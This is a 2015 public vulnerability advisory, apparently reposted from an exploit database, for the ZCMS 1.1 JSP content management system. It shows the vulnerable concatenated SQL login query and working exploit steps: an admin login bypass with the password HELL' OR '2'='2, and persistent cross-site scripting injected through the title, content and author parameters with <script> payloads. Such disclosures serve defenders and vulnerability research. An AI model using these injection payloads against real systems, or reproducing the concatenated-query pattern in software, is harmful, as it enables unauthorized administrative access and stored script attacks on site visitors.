###########################

# ZCMS 1.1 Cross Site Scripting / SQL Injection Vulnerability

###########################

[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-ZCMS0612.txt



Vendor:
=============================================
http://zencherry.com/
http://sourceforge.net/projects/zencherrycms



Product:
==================================================
ZCMS_1.1 JavaServer Pages Content Management System



Advisory Information:
==============================
SQL Injection & Persistent XSS



Vulnerability Details:
======================
SQL Injection:
Login to admin area requires a password but is easily bypassed
using classic SQLInjection method because application uses
concatenated user input to construct SQL queries.


ZCMS exploitable admin login code:
==================================
squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users
WHERE
status = 0 AND username = '"+username+"' AND password =
'"+request.getParameter("pass") +"' AND type = 1 ;";


So we just supply an Admin password like ---> HELL' OR '2'='2
which will resolve as true!


SQL Inject XSS Payload:
=======================
We can also inject persisten XSS payload directly to MySQL database subverting all character filtering leveraging existing SQLInjection vulnerabilities.


Persistent XSS:
===============

Another persistent XSS vector is here in author field for comments:
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page
number]


Exploit code(s):
===============

1) Bypass admin login
---------------------
localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=login
Enter 'admin' for username field
Enter HELL' OR '2'='2 for the pass field


2) Inject XSS using SQL Injection
---------------------------------
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=editpost&p=1&title=
"<script>alert(1)</script>
&content=<script>alert(1)</script>&author=<script>alert(1)</script>
SATAN&visibility=1&type=1&comm=0


3) Persistent XSS field
-----------------------
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page
number]
Inject <script>alert(666)</script> in author input field.



Disclosure Timeline:
=========================================================
Vendor Notification: NA
June 12, 2015 : Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================

Request Method(s): [+] GET & POST


Vulnerable Product: [+] ZCMS_1.1


Vulnerable Parameter(s): [+] pass, title, content, author


Affected Area(s): [+] Admin, CMS


===============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given.
Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


(hyp3rlinx)

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2015-06-18]

###########################